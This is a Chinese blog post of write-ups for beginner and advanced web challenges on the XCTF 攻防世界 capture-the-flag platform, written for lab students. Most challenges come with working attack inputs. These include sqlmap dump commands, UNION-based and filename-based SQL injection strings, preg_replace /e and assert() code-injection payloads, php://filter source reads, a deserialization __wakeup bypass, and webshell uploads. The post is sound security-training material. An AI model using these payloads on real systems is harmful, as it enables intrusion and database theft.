XCTF 攻防世界 之 OJ、WP 系列

发布于 2024-12-19 09:15:44 字数 16588 浏览 0 评论 0

xctf 上的 oj 对 ctf 新手来说,算是比较友好的,由浅入深的题目,除了有一些脑洞题外,其他基本都还算是可以的,给实验室的 ctf 队伍做讲解交流,也是一直推荐大家去刷一下,出了新手村,把进阶题做好,基本对于一些常见的漏洞和题型能够有了解了。趁着有时间,整理一下之前的 wp,给实验室同学提供一下参考,省的到处找 wp,也希望能给其他想做这个平台上题目的人一些帮助。不过,做 CTF 题,还是建议先自己想,自己钻研,把能想的都想透,实在没办法了再看 wp,给自己一些提示,然后继续去做,做完自己尝试复现,这样才能把一道题目吃得更深更透。

这一部分主要是 web 方面的入门题和进阶区的第一页题,其余 misc、re、pwn 等方向的后续会陆续整理放出。

新手区

view source

右键查看源码,或者 view-source:url,或者使用 F12 可查看网页源码,可得 flag

get post

这题考的是 HTTP 的 get 和 post 请求,get 可以直接作为 url 的 param 部分输入,post 请求可以使用 hackbar 发送,或者使用 burpsuite,这里建议自己尝试用 python 写脚本发送下请求,锻炼下 coding 能力。
这里在 url 输入参数"a=1",再 post 一个"b=2"即可得 flag。

robots

考点为 robots 协议,这个协议主要在爬虫抓取页面时候起作用,在根目录下放一下"robots.txt"文件,用来告知搜索引擎哪些页面能被抓取,哪些页面不能被抓取,搜索引擎中访问网站时首先要查看这个文件,如果存在,搜索机器人就会按照该文件中的内容来确定访问的范围;如果该文件不存在,所有的搜索蜘蛛将能够访问网站上所有没有被口令保护的页面。但是,因为这些文件需要将服务器页面信息列出,所以常被攻击者利用。
这题访问 robots.txt 文件,可以看到"flag_1s_h3re.php"文件,访问即可得 flag。
关于 robots 协议,可参考 维基百科

backup

考点为文件备份,通过添加备份文件的常用后缀获取源码的备份文件,以获取网页源码,从而得到 flag。

cookie

考点为 cookie,在 Internet web 服务中,web 服务器为了辨别用户身份或会话认证等目的,会创建 cookie 值,将数据通过哈希、加密等处理返回给用户,用户在请求时附带上该 cookie,再由服务器进行处理,由此对该访客进行认证或其他操作。
此题可直接 F12 查看网络请求,或使用 bursuite 抓包获取 flag。

disabled button

此题考点为 HTML 源码修改,F12 进入网页开发者模式,可以对 HTML 元素进行修改,将原本 button 的 disable 属性删除或修改,即刻点击 button 提交,获取 flag。

simple js

考点为编码转化,阅读网页源码,对处理的 js 代码进行审计,发现返回值是固定的,但是在源码中有一串字符,需要将其转为字符输出,即可得 flag。需要将其先由 16 进制转化为字符,再对应字符查找 ascii 码对应的字符,则可得 flag。

xff referer

考点为 http 的 xff 和 refere 头,在 http 中,xff(X-Forwarded-For:简称 XFF 头) 代表客户端,即 HTTP 的请求端的 IP;Referer 是 header 的一部分,当浏览器向 web 服务器发送请求的时候,一般会带上 Referer,告诉服务器是从哪个页面链接过来的。此题中用 burpsuite 抓包添加 xss 和 referer 头即可得 flag。

weak auth

考点为弱口令,使用 burpsuite 抓包爆破即可,也可自己写 python 脚本读取字典进行爆破

webshell

考点为一句话木马,F12 发现代码中有一句话木马,eval 函数会以 php 代码形式进行命令执行,参数为 shell,故发送对应 payload 的 post 请求即可,可以使用中国菜刀连接、hackbar 发 post 请求,或者写 python 代码发包。

command execution

考点为命令执行,服务器在执行 ping 命令后,通过构造 shell 中的命令,将其余语句注入进行执行,以获取 flag。
先用 find 命令搜索 flag 文件,再用 cat 命令打印即可

simple php

考点为 php 代码审计,利用 PHP 弱类型进行绕过,PHP 中的"==“和”==="比较的内容不同,双等号会将字符转换为相同类型比较,而三等号会同时比较字符串的值和类型,前者属于弱类型比较。此题中,两个比较都可用字母来实现。可参考 PHP 弱类型

进阶区

baby web

考点为 302 调转,打开网页只有一个 hello world,是 1.php,题目 hint 为想想初始页面是哪个,因此用 dirsearch 扫描,发现只有 1.php,其余 index.php 和
index.php/login 都会跳转到 1.php,查看中转页面的 http 请求即可得 flag。

cat

这题有点脑洞,主要考的是 django 调试模式和 php curl。这题开启了 django 调试模式,通过 fuzz 可以发现,当输入为非法 url 或含有特殊符号时候,会返回
invaild url,另外,如果在输入框中值包含 url 编码,在?url=中请求大于%7F 的字符都会造成 Django 报错(因为 django 使用的 gbk 编码中超过%F7 的编码在 gbk 中无意义)。这里可以通过报错信息获取文件路径及文件名,再配合 PHP CURL 中的特性,如果将 CURLOPT_SAFE_UPLOAD 设置为 true 时,可以在请求中加上 @符号传输文件绝对路径来请求文件。payload 如下:

?url=@/opt/api/api/settings.py	#获取数据库名
?url=@/opt/api/database.sqlite3 #获取数据库内容

ics-04

考点为重复注册,该题目提供注册、登录和找回密码功能,对每个功能进行尝试发现在注册功能中可以进行重复注册,尝试注册 admin 登录,登录成功但是没有 flag,于是猜想是否是其他的用户名?另外,在找回密码处发现有一个 sql 注入漏洞,可使用 sqlmap 进行注入获取其 users 表,查看是否有其他用户。进行重复注册即可得 flag。sqlmap 命令如下:

python sqlmap.py -u "http://ip  :port/findpwd.php" --data="username=1" -D cetc004 -T user -C "username,password" --dump

ics-05

考点为 XFF、PHP 伪协议与命令注入,可通过 php://filter 伪协议获取源码,再利用 preg_replace 函数进行命令注入,preg_replace 函数进行正则表达式的搜索和替换,但是在使用/e 修正符时,正则表达式会将替换串中的内容当做代码执行,会使 preg_relace() 将 replacement 参数当做 PHP 代码执行。另外,php 代码中对 server 进行了判断,需要使用 burpsuite 进行抓包,加上 XFF 头发包,
payload 和使用伪协议获取的 index.php 源码如下,获取到的源码是 base64 编码的,需要进行解码。

?page=php://filter/read=convert.base64-encode/resource=index.php    	#获取源码
?pat=/(.*)/e&rep=system('ls')&sub=a #列出所有文件,可得到 s3chahahaDir 目录
?pat=/(.*)/e&rep=system('ls+s3chahahaDir')&sub=a #查看目录下文件
?pat=/(.*)/e&rep=system('ls+s3chahahaDir/flag')&sub=a #获取 flag 内容

# index.php 源码
if ($_SERVER['HTTP_X_FORWARDED_FOR'] === '127.0.0.1') {
echo "<br >Welcome My Admin ! <br >";
$pattern = $_GET[pat];
$replacement = $_GET[rep];
$subject = $_GET[sub];
if (isset($pattern) && isset($replacement) && isset($subject)) {
preg_replace($pattern, $replacement, $subject);
}else{
die();
}
}

ics-06

考点为 bursuite 爆破,对 id 字段进行爆破即可,当 id 为 2333 时可得 flag。

lottery

考点为 PHP 弱类型和 git 泄露?题目直接给了源码可能是为了降低难度吧,通过 dirsearch 可以扫出有/.git 文件,于是可以利用 githack 把源码 down 下来,对源码进行审计,发现在 api.php 中存在漏洞。

function buy($req){
require_registered();
require_min_money(2);
$money = $_SESSION['money'];
$numbers = $req['numbers'];
$win_numbers = random_win_nums();
$same_count = 0;
for($i=0; $i<7; $i++){
if($numbers[$i] == $win_numbers[$i]){
$same_count++;
}
}

源码中,需要对 numbers 进行判断,判断是否中奖,但是代码中并没有对用户输入进行数据类型检查,$win_numbers 是随机生成的数字字符串。利用 PHP 弱类型比较,以"1"为例,和 TRUE,1,"1"相等。 由于 json 支持布尔型数据,因此可以抓包改包,将 numbers 改为 true 进行发送,即可得奖。多次中奖后直接购买 flag。payload 如下:

{"action":"buy","numbers":[true,true,true,true,true,true,true]}

NewsCenter

考点为 sql 注入,第一次点进去网页会报错,报错"sql…",刷新以后发现是个搜索框,猜测是 sql 注入,输入 'and 1=1# 和 'and 0# 结果不同,说明存在 sql 注入,直接使用 sqlmap 就可得 flag,这里用的是 post 请求,所以需要抓包存储为 txt 文件,使用 -r 命令读入 sqlmap 中进行注入。也可以自行构造 payload 进行注入,如下:

python sqlmap.py -r crack.txt --dbs  # 查询数据库
python sqlmap.py -r crack.txt -D news --dump # 拖库

# 手注 payload
1' union select 1,2,group_concat(table_name) from information_schema.tables where table_schema=database()#
1' union select 1,2,group_concat(column_name) from information_schema.columns where table_name='secret_table'#
1' union select 1,2,fl4g from news.secret_table#

mfw

考点为 git 泄露(Githack)、PHP 代码审计和 assert 命令注入。扫目录发现网站.git 文件,用 githack 下载源码,发现 index.php 和 flag.php,但是 flag.php 里面的 flag 是空的,于是对 index.php 进行代码审计,看如何获取 flag。

<?php

if (isset($_GET['page'])) {
$page = $_GET['page'];
} else {
$page = "home";
}
//以 get 方式获得一个 page 变量,如果没有,则设置为 home

$file = "templates/" . $page . ".php";
//将 page 变量拼接成一个 templates 下的 php 文件,设置为变量 file

// I heard '..' is dangerous!
assert("strpos('$file', '..') === false") or die("Detected hacking attempt!");
//判断 file 中是否有" .. ",如果有则直接退出
// TODO: Make this look nice
assert("file_exists('$file')") or die("That file doesn't exist!")

?>

源码中关键为 assert 和 strpos 函数,assert() 函数会将括号中的字符当成代码来执行,并返回 true 或 false。strpos() 函数会返回字符串第一次出现的位置,如果没有找到则返回 False。另外,这里 file 为用户输入的 page 拼接而成,而代码对于 page 并没有进行过滤,于是可以利用 assert 特性,assert 函数的参数为 assert(mixed $assertion[,string $description]),如果 assertion 是字符串,他会被 assert() 当做 php 代码执行。 所以这题中可以利用可控变量 file 传入恶意参数,将 file_exists 闭合,然后传入需要执行的 php 代码,获取 flag。 payload 如下(注意需要进行 url 编码):

') or print_r(file_get_contents('templates/flag.php');#

Training-WWW-Robots

考点为 robots 协议,通过访问 robots.txt 获得 flag 存放的文件名,访问即可得 flag。

NaNNaNNaNNaN

考点为代码审计,题目提供了一个附件,发现是一段 JavaScript 的代码,把文件加个 html 后缀发现可以直接运行,但是对内部机制不熟悉得不到 flag,所以需要对 js 代码进行审计。首先将其 js 代码进行美化,美化后源码如下:

function $() {
var e = document.getElementById("c").value;
if (e.length == 16)
if (e.match(/^be0f23/) != null)
if (e.match(/233ac/) != null)
if (e.match(/e98aa$/) != null)
if (e.match(/c7be9/) != null) {
var t = ["fl", "s_a", "i", "e}"];
var n = ["a", "_h0l", "n"];
var r = ["g{", "e", "_0"];
var i = ["it'", "_", "n"];
var s = [t, n, r, i];
for (var o = 0; o < 13; ++o) {
document.write(s[o % 4][0]);
s[o % 4].splice(0, 1)
}
}
}
document.write('Ok');
delete _

由源码可得 flag 的生成逻辑,则直接将其提取出来运行即可的 flag。

var t = ["fl", "s_a", "i", "e}"];
var n = ["a", "_h0l", "n"];
var r = ["g{", "e", "_0"];
var i = ["it'", "_", "n"];
var s = [t, n, r, i];
for (var o = 0; o < 13; ++o) {
document.write(s[o % 4][0]);
s[o % 4].splice(0, 1)
}

bug

考点为重放攻击与文件上传,页面可以创建用户、登录、修改密码、忘记密码,点击 manage 页发现需要 admin 权限,尝试 sql 注入和二次注入无果,在找回密码处可以使用 burpsuite 抓包,将用户名修改为 admin 即可修改 admin 的密码,再尝试登录,提示 “ip not allowed” ,加上 xff 头即可,此时点击 manage,在源码中看到提示 “index.php?module=filemanage&do=???” ,此时需要猜服务器的动作,由 filemanage 提示猜 do=upload,进入 upload 页面。

先尝试上传 php 一句话木马,发现被拦截,提示是 php 文件,于是尝试其余 php 后缀,发现 php5 可以绕过过滤上传成功,得到 flag。

upload

考点为文件上传注入,登录页面后发现可以进行文件上传,于是尝试是否能上传一句话木马,修改后缀、截断、上传图片马、抓包修改 type 后发现都无法绕过,考虑是否存在其他漏洞?这里发现上传成功后会显示文件名,那么在文件名回显时,是否可以进行注入?这里尝试构造特定的文件名,判断是否可以注入。经测试发现可以进行 sql 注入,于是使用文件名来进行 sql 注入即可获得 flag,这里需要注意回显无法返回字母,所以需要转为二进制显示,并且题目对回显长度进行了限制,可以使用 substr 进行分割输出。payload 如下:

'+(select database())+'.jpg # 测试是否可以进行注入
'+(selselectect conv(substr(hex(database()),1,12),16,10))+ '.jpg # 获取数据库名
'+(selselectect conv(substr(hex(database()),13,12),16,10))+ '.jpg
'+(selecselectt conv(substr(hex((selecselectt table_name frofromm information_schema.tables where table_schema='web_upload' limit 1,1)),1,12),16,10))+'.jpg # 获取表名
'+(selecselectt conv(substr(hex((selecselectt column_name frofromm information_schema.columns where table_name='hello_flag_is_here' limit 0,1)),1,12),16,10))+'.jpg # 获取字段名
'+(selecselectt conv(substr(hex((selecselectt i_am_flag frofromm hello_flag_is_here limit 0,1)),1,12),16,10))+'.jpg # 获取 flag

FlatScience

考点为 sql 注入和社工?题目页面内都是一些文档的链接,一顿操作并没有找到什么洞,于是扫描目录、查看 robots.txt,可以看到 login.php 和 admin.php,进入 login.php,发现需要进行登录,这里尝试 sql 注入构造万能密码登录,没什么用。查看源码发现参数 debug,传参?debug=1,得到如下代码:

<?php 
if(isset($_POST['usr']) && isset($_POST['pw'])){
$user = $_POST['usr'];
$pass = $_POST['pw'];

$db = new SQLite3('../fancy.db');

$res = $db->query("SELECT id,name from Users where name='".$user."' and password='".sha1($pass."Salz!")."'");
if($res){
$row = $res->fetchArray();
}
else{
echo "<br>Some Error occourred!";
}

if(isset($row['id'])){
setcookie('name',' '.$row['name'], time() + 60, '/');
header("Location: /");
die();
}
}

if(isset($_GET['debug']))
highlight_file('login.php');
?>

发现需要进行注入,并且这里为 sqlite3,构建语句进行注入

usr=1‘ union select name,sql from sqlite_master--+&pw=1

发现返回的结果在 set-cookies 中,并且可以知道,数据库中有 name、password、hint 三个字段,构造语句分别查询

usr=%27 UNION SELECT id, name from Users --+&pw=chybeta # 查询 name
usr=%27 UNION SELECT id, password from Users–+&pw=chybeta # 查询 password
usr=%27 UNION SELECT id, hint from Users–+&pw=chybeta # 查询 hint

通过 sql 注入查询,可以得到 name 为 admin,但是 password 为一串哈希,还是无法登录,但是这里 hint 为"my fav word in my fav paper",即需要从网页中的 paper 中获取密码,那么如何判断是哪篇 paper?这里猜想是否 paper 的哈希为签名注入得到的 password 值,将 paper 爬取下来,然后使用脚本对其进哈希碰撞,碰撞成功则获取 paper 内容,得到 flag。脚本如下:

from cStringIO import StringIO
from pdfminer.pdfinterp import PDFResourceManager, PDFPageInterpreter
from pdfminer.converter import TextConverter
from pdfminer.layout import LAParams
from pdfminer.pdfpage import PDFPage
import sys
import string
import os
import hashlib

def get_pdf():
return [i for i in os.listdir("./") if i.endswith("pdf")]


def convert_pdf_2_text(path):
rsrcmgr = PDFResourceManager()
retstr = StringIO()
device = TextConverter(rsrcmgr, retstr, codec='utf-8', laparams=LAParams())
interpreter = PDFPageInterpreter(rsrcmgr, device)
with open(path, 'rb') as fp:
for page in PDFPage.get_pages(fp, set()):
interpreter.process_page(page)
text = retstr.getvalue()
device.close()
retstr.close()
return text


def find_password():
pdf_path = get_pdf()
for i in pdf_path:
print "Searching word in " + i
pdf_text = convert_pdf_2_text(i).split(" ")
for word in pdf_text:
sha1_password = hashlib.sha1(word+"Salz!").hexdigest()
if sha1_password == '3fab54a50e770d830c0416df817567662a9dc85c': # sql 注入获得的 hash 值
print "Find the password :" + word
exit()

if __name__ == "__main__":
find_password()

web2

考点为 php 代码审计,将代码的逻辑逆过来执行一遍即可得 flag。

# 源码
<?php
// 加密算法
$miwen="a1zLbgQsCESEIqRLwuQAyMwLyq2L5VwBxqGA3RQAyumZ0tmMvSGM2ZwB4tws";

function encode($str){
$_o=strrev($str); //反转字符串
// echo $_o;

for($_0=0;$_0<strlen($_o);$_0++){

$_c=substr($_o,$_0,1); //取每一个字符
$__=ord($_c)+1; //ascii + 1
$_c=chr($__); //转字符
$_=$_.$_c; //拼接
}
return str_rot13(strrev(base64_encode($_))); //base64 编码后反转字符,再使用 rot13 编码
}

highlight_file(__FILE__);
/*
逆向加密算法,解密$miwen 就是 flag
*/
?>



<?php

//解密算法:
//rot13 解码
//反转字符
//base64 解码
//对于每个字符
//其 ascii 码 -1 转回字符 拼接
//反转字符

$miwen = "a1zLbgQsCESEIqRLwuQAyMwLyq2L5VwBxqGA3RQAyumZ0tmMvSGM2ZwB4tws";
$a = str_rot13($miwen);
$a = strrev($a);
$a = base64_decode($a);

for($i=0;$i<strlen($a);$i++){
$_i = substr($a,$i,1);
$__i = ord($_i)-1 ;
$_i = chr($__i);
$re = $re.$_i;
}
$re = strrev($re);
echo $re;
?>

PHP2

考点为 php 后缀和 url 编码,将 php 文件后缀改为 phps 可得源码,发现需要发送 id=admin 即可得 flag,但是这里源码中对 id 进行了 url 解码,所以需要 admin 进行两次 url 编码即可得 flag(浏览器解码一轮,php 代码解码一轮)。

unserialize3

考点为反序列化,打开题目给了一段 php 源码,源码中给了一个 class,并且使用了 wakeup 方法,这里利用了 php 反序列化的一个漏洞,当序列化字符串表示对象属性个数的值大于真实个数的属性时就会跳过__wakeup 的执行,所以可以对本地序列化的结果进行修改后提交即可得到 flag。题目代码及 payload 如下:

# 源码
class xctf{
public $flag = '111';
public function __wakeup(){
exit('bad requests');
}
?code=

O:4:"xctf":2:{s:4:"flag";s:3:"111";} # payload

upload1

考点为文件上传前端过滤绕过,发现只能上传 jpg 文件,查看源码看到在前端有一个 js 函数对文件后缀进行检测,先将 php 改为 jpg 后缀,再使用 burpsuite 抓包修改文件后缀即可绕过,成功上传一句话木马后菜刀连接即可得 flag。

Web include php

考点为 php 源码审计与 php://input 流,利用 strstr 大小写敏感绕过 strstr 函数,使用 php://input 流读取文件即可得 flag,源码及简要如下:

<?php
show_source(__FILE__); //展示代码
echo $_GET['hello']; //获取 hello 参数
$page=$_GET['page']; //获取 page 参数
while (strstr($page, "php://")) { //查询 page 参数中是否有 php://,有的话返回 page 参数
$page=str_replace("php://", "", $page); //将 page 参数中的 php:// 替换掉
}
include($page); //引用 page

// strstr()
// 定义和用法
// strstr() 函数搜索字符串在另一字符串中是否存在,如果是,返回该字符串及剩余部分,否则返回 FALSE。
// 注释:该函数是二进制安全的。
// 注释:该函数是区分大小写的。如需进行不区分大小写的搜索,请使用 stristr() 函数。

// strstr(string,search,before_search)

// 参数描述
// string
// 必需。规定被搜索的字符串。
// search
// 必需。规定要搜索的字符串。如果该参数是数字,则搜索匹配该数字对应的 ASCII 值的字符。
// before_search
// 可选。一个默认值为 "false" 的布尔值。如果设置为 "true",它将返回 search 参数第一次出现之前的字符串部分。

?>

结语

这部分 wp 到这就结束了,其实之前也有想过,这样的 wp 网上到处都是,何必要重写呢?后面想想,如果把题目 wp 放在一起,并且能够把相应的知识点提一下还是挺不错的,至少看起来对于我实验室的同学们来说提升得挺快的,全篇没有给出 flag,甚至有的题只给了个思路,但是我觉得这样就可以了,看 wp 看到就是思路,看着自己没想到的思路去做题复现,也许更容易把题目吃透吧?

如果你对这篇内容有疑问,欢迎到本站社区发帖提问 参与讨论,获取更多帮助,或者扫码二维码加入 Web 技术交流群。

扫码二维码加入Web技术交流群

发布评论

需要 登录 才能够评论, 你可以免费 注册 一个本站的账号。
列表为空,暂无数据

关于作者

兲鉂ぱ嘚淚

暂无简介

0 文章
0 评论
24 人气
更多

推荐作者

離殇

文章 0 评论 0

小姐丶请自重

文章 0 评论 0

Aik

文章 0 评论 0

国产ˉ祖宗

文章 0 评论 0

猥琐帝

文章 0 评论 0

半仙

文章 0 评论 0

    我们使用 Cookies 和其他技术来定制您的体验包括您的登录状态等。通过阅读我们的 隐私政策 了解更多相关信息。 单击 接受 或继续使用网站,即表示您同意使用 Cookies 和您的相关数据。
    原文